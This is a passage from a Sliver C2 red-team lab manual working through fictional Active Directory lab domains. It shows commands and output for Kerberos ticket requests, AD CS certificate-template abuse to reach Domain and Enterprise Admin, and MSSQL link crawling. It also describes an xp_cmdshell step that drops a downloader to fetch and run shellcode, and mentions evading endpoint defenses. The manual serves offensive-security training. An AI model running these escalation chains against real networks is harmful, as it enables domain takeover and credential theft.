[*] base64(ticket.kirbi):
doIGHDCCBhig[snip]
Next request a TGS for a service on eurocorp-dc. In this case we request a ticket for the CIFS service.
[server] sliver (dcorp-std_https) > inline-execute-assembly -t 40 '/mnt/c/AD/
Tools/Rubeus.exe' 'asktgs /service:CIFS/eurocorp-dc.eurocorp.LOCAL /dc:euroco
rp-dc.eurocorp.LOCAL /ptt /ticket:doIGHDCCBhig[snip]'
[........snip........]
ServiceName : cifs/eurocorp-dc.eurocorp.local
ServiceRealm : EUROCORP.LOCAL
UserName : Administrator
UserRealm : dollarcorp.moneycorp.local
StartTime : 10/1/2022 4:05:54 AM
EndTime : 10/1/2022 2:05:54 PM
RenewTill : 10/8/2022 4:05:54 AM
Flags : name_canonicalize, ok_as_delegate, pre_authent,
renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : kmxfbuXjUiZ5LATsY9E7v2+6uM/Ua75bWgiJuCMhtQw=
Since we can only access explicitly shared shares let use enumerate the target shares on eurocorp-dc
using the sa-netshares BOF.
[server] sliver (dcorp-std_https) > sa-netshares -t 60 'eurocorp-dc.eurocorp.
local'
Checking for CIFS access it is noted that we have access to the SharedwithDCorp share.
[server] sliver (dcorp-std_https) > ls '\\eurocorp-dc.eurocorp.local\Sharedwi
thDcorp'
\\eurocorp-dc.eurocorp.local\SharedwithDcorp\ (1 item, 29 B)
============================================================
-rw-rw-rw- secret.txt 29 B Mon Jan 18 04:18:07 -0700 2024
• Abuse any such template(s) to escalate to Domain Admin and Enterprise Admin.
Enumerating AD CS
Using Certify
We can use the Certify tool from the armory to check for AD CS in moneycorp. The cas command is used
to find information about all registered CAs.
We can list all the templates using the find command. Going through the output we can find some
interesting templates.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p "C:\windows\s
ystem32\taskhostw.exe" -t 40 '/mnt/c/AD/Tools/Certify.exe' find
[......snip.....]
CA Name : mcorp-dc.moneycorp.local\moneycor
p-MCORP-DC-CA
Template Name : SmartCardEnrollment-Agent
Schema Version : 2
Validity Period : 2 years
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_
REQUIRE_DIRECTORY_PATH
mspki-enrollment-flag : AUTO_ENROLLMENT
Authorized Signatures Required : 0
pkiextendedkeyusage : Certificate Request Agent
mspki-certificate-application-policy : Certificate Request Agent
Permissions
Enrollment Permissions
Enrollment Rights : dcorp\Domain Users S-1-5-21-1
874506631-3219952063-538504511-513
[.....snip.....]
CA Name : mcorp-dc.moneycorp.local\moneycor
p-MCORP-DC-CA
Template Name : HTTPSCertificates
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
[......snip.....]
[.......snip.....]
CA Name : mcorp-dc.moneycorp.local\moneycor
p-MCORP-DC-CA
Template Name : HTTPSCertificates
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUB
LISH_TO_DS
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication, Encrypting
File System, Secure Email
mspki-certificate-application-policy : Client Authentication, Encrypting
File System, Secure Email
Permissions
Enrollment Permissions
Enrollment Rights : dcorp\RDPUsers S-1-5-21-
1874506631-3219952063-538504511-1116
[.......snip.....]
The HTTPSCertificates template grants enrollment rights to the RDPUsers group and allows the
requestor to supply a Subject Name. Recall that dcorp\studentX is a member of RDPUsers group. This
means that we can request a certificate for any user as dcorp\studentX.
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out cert.pfx
Copy all the text between —--BEGIN RSA PRIVATE KEY—-- and —--END CERTIFICATE—-- and save it as
esc1.pem.
We need to convert esc1.pem to PFX to use it. Spawn a new PowerShell prompt and use the openssl.exe
binary on windows to do that as follows. We can use an export password, we use Passw0rd! as the
export password in this case.
PS C:\AD\Tools> notepad C:\AD\Tools\esc1-DA.pem
Use the converted PFX from above with Rubeus to request a TGT for the DA - Administrator as follows.
[*] Using PKINIT with etype rc4_hmac and subject: CN=studentX, CN=Users, DC=d
ollarcorp, DC=moneycorp, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'dollarcorp.moneycorp.local\admi
nistrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGWjCCBlagAwI[.........snip..........]
[......snip....]
We can use the same method to escalate to Enterprise Admin privileges. Request a certificate for the
Enterprise Administrator - mcorp\Administrator.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p "C:\windows\s
ystem32\taskhostw.exe" -t 40 '/mnt/c/AD/Tools/Certify.exe' 'request /ca:mcorp
-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:"HTTPSCertificates" /altn
ame:moneycorp.local\administrator'
[*] cert.pem :
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out cert.pf
Save the certificate to esc1-EA.pem and convert it to a PFX using openssl as follows. We will use
Passw0rd! as the export password.
PS C:\AD\Tools> notepad C:\AD\Tools\esc1-EA.pem
[*] Using PKINIT with etype rc4_hmac and subject: CN=studentX, CN=Users, DC=d
ollarcorp, DC=moneycorp, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'moneycorp.local\Administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIF/jCCBfqgAwIBB[......snip.....]
ServiceName : krbtgt/moneycorp.local
ServiceRealm : MONEYCORP.LOCAL
UserName : Administrator
UserRealm : MONEYCORP.LOCAL
StartTime : 10/9/2023 12:47:13 AM
EndTime : 10/9/2023 10:47:13 AM
RenewTill : 10/16/2024 12:47:13 AM
Flags : name_canonicalize, pre_authent, initial, renewa
ble, forwardable
KeyType : rc4_hmac
Base64(key) : BkP0F5pTDNuwuOLKxW/tvw==
ASREP (key) : 0DB3DAD44DF2FFD779B748D756E7E937
[......snip....]
[........snip.......]
CA Name : mcorp-dc.moneycorp.local\moneycor
p-MCORP-DC-CA
Template Name : SmartCardEnrollment-Agent
Schema Version : 2
Validity Period : 2 years
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_
REQUIRE_DIRECTORY_PATH
mspki-enrollment-flag : AUTO_ENROLLMENT
Authorized Signatures Required : 0
pkiextendedkeyusage : Certificate Request Agent
mspki-certificate-application-policy : Certificate Request Agent
Permissions
Enrollment Permissions
Enrollment Rights : dcorp\Domain Users S-1-5-21-
1874506631-3219952063-538504511-513
mcorp\Domain Admins S-1-5-21-
280534878-1496970234-700767426-512
[........snip........]
[......snip......]
CA Name : mcorp-dc.moneycorp.local\moneycor
p-MCORP-DC-CA
Template Name : SmartCardEnrollment-Users
Schema Version : 2
Validity Period : 2 years
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_
REQUIRE_DIRECTORY_PATH
mspki-enrollment-flag : AUTO_ENROLLMENT
Authorized Signatures Required : 1
Application Policies : Certificate Request Agent
pkiextendedkeyusage : Client Authentication, Encrypting
File System, Secure Email
mspki-certificate-application-policy : Client Authentication, Encrypting
File System, Secure Email
Permissions
Enrollment Permissions
Enrollment Rights : dcorp\Domain Users S-1
-5-21-1874506631-3219952063-538504511-513
[........snip........]
Now that we found such a template, request an Enrollment Agent Certificate from the template
SmartCardEnrollment-Agent.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p "C:\windows\s
ystem32\taskhostw.exe" -t 40 '/mnt/c/AD/Tools/Certify.exe' 'request /ca:mcorp
-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:SmartCardEnrollment-Agent
'
[*] cert.pem :
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out cert.pfx
Like earlier, save the certificate text to esc3.pem and convert to PFX. Let’s keep using Passw0rd! as the
export password.
PS C:\AD\Tools> notepad C:\AD\Tools\esc3-agent.pem
Now we can use the Enrollment Agent Certificate to request a certificate for Domain Admin from the
template SmartCardEnrollment-Users using certify.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p "C:\windows\s
ystem32\taskhostw.exe" -t 40 '/mnt/c/AD/Tools/Certify.exe' 'request /ca:mcorp
-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:SmartCardEnrollment-Users
/onbehalfof:dcorp\administrator /enrollcert:C:\AD\Tools\esc3-agent.pfx /enro
llcertpw:Passw0rd!'
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out cert.pfx
Once again, save the certificate text to esc3-DA.pem and convert the PEM to PFX. We still continue
using Passw0rd! as the export password.
PS C:\AD\Tools> notepad C:\AD\Tools\esc3-DA.pem
Use the esc3-DA.pfx created above with Rubeus to request a TGT for the Domain Administrator.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p "C:\windows\s
ystem32\taskhostw.exe" -t 40 '/mnt/c/AD/Tools/Rubeus.exe' 'asktgt /user:admin
istrator /certificate:C:\AD\Tools\esc3-DA.pfx /password:Passw0rd! /ptt'
[*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users,
DC=dollarcorp, DC=moneycorp, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'dollarcorp.moneycorp.local\admi
nistrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGWjCCBlagAwIBBaEDAgEW[.....snip.....]
ServiceName : krbtgt/dollarcorp.moneycorp.local
ServiceRealm : DOLLARCORP.MONEYCORP.LOCAL
UserName : administrator
UserRealm : DOLLARCORP.MONEYCORP.LOCAL
StartTime : 10/9/2023 1:08:44 AM
EndTime : 10/9/2023 11:08:44 AM
To escalate to Enterprise Admin, we just need to make changes to request to the SmartCardEnrollment-
Users template and Rubeus. Please note that we are using /onbehalfof: mcorp\administrator here.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p "C:\windows\s
ystem32\taskhostw.exe" -t 40 '/mnt/c/AD/Tools/Certify.exe' 'request /ca:mcorp
-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:SmartCardEnrollment-Users
/onbehalfof:mcorp\administrator /enrollcert:C:\AD\Tools\esc3-agent.pfx /enro
llcertpw:Passw0rd!'
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out cert.pfx
[*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users,
DC=moneycorp, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'moneycorp.local\administrator'
[*] base64(ticket.kirbi):
doIF/jCCBfqgAwIBBaEDA[......snip.....]
ServiceName : krbtgt/moneycorp.local
ServiceRealm : MONEYCORP.LOCAL
UserName : administrator
UserRealm : MONEYCORP.LOCAL
StartTime : 10/9/2022 1:16:40 AM
EndTime : 10/9/2022 11:16:40 AM
RenewTill : 10/16/2022 1:16:40 AM
[......snip....]
SharpSQL is a C# implementation of PowerUpSQL and most of its modules and functions are similar.
[*] Output:
[*] Get-SQLInstanceDomain:
MSSQLSvc/dcorp-mssql.dollarcorp.moneycorp.local:1433
MSSQLSvc/dcorp-mssql.dollarcorp.moneycorp.local
TERMSRV/DCORP-MSSQL
RestrictedKrbHost/DCORP-MSSQL
HOST/DCORP-MSSQL
MSSQLSvc/dcorp-sql1.dollarcorp.moneycorp.local:1433
MSSQLSvc/dcorp-sql1.dollarcorp.moneycorp.local
MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local:1433, MSSQLSvc/dcorp-mgmt.doll
arcorp.moneycorp.local
Checking if our current user - dcorp\studentX has access over any of the instances we find we have
access to dcorp-mssql.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'c:\windows\S
ystem32\taskhostw.exe' -t 80 '/mnt/c/AD/Tools/SharpSQL.exe' 'Get-UserPrivs -I
nstance dcorp-mssql.dollarcorp.moneycorp.local'
[*] Output:
[*] Authenticated to: dcorp-mssql.dollarcorp.moneycorp.local
[*] Get-UserPrivs:
CONNECT SQL
VIEW ANY DATABASE
Enumerate Sysadmins for the database using the Get-Sysadmins module as follows.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'c:\windows\S
ystem32\taskhostw.exe' -t 80 '/mnt/c/AD/Tools/SharpSQL.exe' 'Get-Sysadmins -I
nstance dcorp-mssql.dollarcorp.moneycorp.local'
[*] Output:
[*] Authenticated to: dcorp-mssql.dollarcorp.moneycorp.local
[*] Get-Sysadmins:
sa
We aren’t a Sysadmin on the database. The Get-LinkedServers command in SharpSQL and most
alternative C# MSSQL offensive exploitation tools execute EXEC sp_linkedservers; to enumerate linked
servers defined in the local server, however some links can be defined on other target server links and
can be missed.
Since SharpSQL doesn’t have the Get-SQLServerLinkCrawl module to traverse multiple links at a time, it
is possible to traverse through each SQL Server link using SharpSQL one at a time using large
OPENQUERY statements. Since this is a bit cumbersome, we will be avoiding this by using
PowerUpSQL.ps1 with a Get-SQLServerLinkCrawl command at the end to make the script an executable
script and finally converting the script into a .NET x86-x64 assembly using PS2EXE as we did in the
previous modules to be used along with execute-assembly.
Next, append the following query at then end to crawl and enumerate linked servers.
Get-SQLServerLinkCrawl -Instance dcorp-mssql.dollarcorp.moneycorp.local
Finally, execite the ps2exe.ps1 script and convert the .ps1 into a .NET executable as follows.
PS2EXE-GUI v0.5.0.27 by Ingo Karstein, reworked and GUI support by Markus Sch
oltes
[*] Output:
We found two new links over dcorp-mgmt and eu-sqlx. It is also noted that we have sa privileges on eu-
sqlx which is a part of the EU.EUROCORP.LOCAL domain.
Next use the ps2exe.ps1 script to convert PowerUpSQLEx.ps1 into a .NET assembly compatible with the
execute-assembly command as follows.
PS C:\AD\Tools> .\ps2exe.ps1 -inputFile C:\AD\Tools\PowerUpSQLEx.ps1 -outputF
ile C:\AD\Tools\PowerUpSQLEx.exe -x64 -sta
PS2EXE-GUI v0.5.0.27 by Ingo Karstein, reworked and GUI support by Markus Sch
oltes
[*] Output:
Now that we have Sysadmin and xp_cmdshell privileges over EU-SQLX we can move laterally uploading a
generated payload and executing it via xp_cmdshell.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/Sliver
Upload NtDropper onto eu-sqlx leveraging xp_cmdshell using the following commands.
Append the above commands to PowerUpSQLEx.ps1 and convert it to a .NET exe as before using
ps2exe.
PS C:\AD\Tools\ps2exe> .\ps2exe.ps1 -inputFile C:\AD\Tools\PowerUpSQLEx.ps1 -
outputFile C:\AD\Tools\PowerUpSQLEx.exe -x64 -sta
[....snip......]
Reiterate the process of converting PowerUpSqlEx.ps1 into an assembly one last time to leverage our
NtDropper to download and execute our tcp pivot shellcode using execute-assembly.
NOTE: Wait a few minutes before executing the Sliver payload since the payload generated is 10mb+.
[....snip......]
• Sliver: https://github.com/BishopFox/sliver/releases
• StandIn: https://github.com/FuzzySecurity/StandIn
• ADSearch: https://github.com/tomcarver16/ADSearch
• ADCollector: https://github.com/dev-2null/ADCollector
• Dsquery: https://learn.microsoft.com/en-us/previous-versions/windows/it-
pro/windows-server-2012-r2-and-2012/cc732952(v=ws.11)
• Bloodhound: https://github.com/BloodHoundAD/BloodHound
• SharpHound: https://github.com/BloodHoundAD/SharpHound
• silenthound.py: https://github.com/layer8secure/SilentHound
• Sa-schtasksenum: https://github.com/sliverarmory
• Sa-Netshares: https://github.com/sliverarmory
• Sa-sc-enum: https://github.com/trustedsec/CS-Situational-Awareness-
BOF/blob/master/SA/
• SharpUp: https://github.com/GhostPack/SharpUp
• Seatbelt: https://github.com/GhostPack/Seatbelt
• LACheck: https://github.com/mitchmoser/LACheck
• CIMplant: https://github.com/FortyNorthSecurity/CIMplant
• remote-sc-tools: https://github.com/sliverarmory
• psexec:
https://github.com/BishopFox/sliver/blob/7d07f4c518838f8a31c532ac9ad5c79ec9db15f
6/client/command/exec/psexec.go
• SharpWMI: https://github.com/GhostPack/SharpWMI
• Stracciatella: https://github.com/mgeeky/Stracciatella
• Execute-Assembly: https://github.com/med0x2e/ExecuteAssembly
• Inline-execute-assembly: https://github.com/anthemtotheego/InlineExecute-Assembly
• PEzor: https://github.com/phra/PEzor
• SharpKatz: https://github.com/b4rtik/SharpKatz
• SharpSecDump: https://github.com/G0ldenGunSec/SharpSecDump
• Invoke-Mimikatz:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-
Mimikatz.ps1
• Rubeus: https://github.com/GhostPack/Rubeus
• RubeusToCcache: https://github.com/SolomonSklash/RubeusToCcache
• c2tc-kerberoast: https://github.com/outflanknl/C2-Tool-
Collection/tree/main/BOF/Kerberoast
• Get-RBCD-Threaded: https://github.com/FatRodzianko/Get-RBCD-Threaded
• SharpAllowedToAct-Modify: https://github.com/pkb1s/SharpAllowedToAct
• delegationbof: https://github.com/IcebreakerSecurity/DelegationBOF
• Certify: https://github.com/GhostPack/Certify
• PowerUpSQL: https://github.com/NetSPI/PowerUpSQL
• Hashcat: https://github.com/hashcat/hashcat
Closing Note
This lab manual provides insight to operate Sliver competently with a good sense of endpoint OPSEC.
However, Sliver can implement a lot more advanced techniques like reflective dll’s, Syscall integration,
dllhijacking, socks5, rportfwd, BOF execution etc to handle advanced protections like MDE, Sysmon,
ETW, ASR and the like. This lab manual should be able to provide the base competency to research
tackling such intermediate and advanced defenses using the Sliver C2.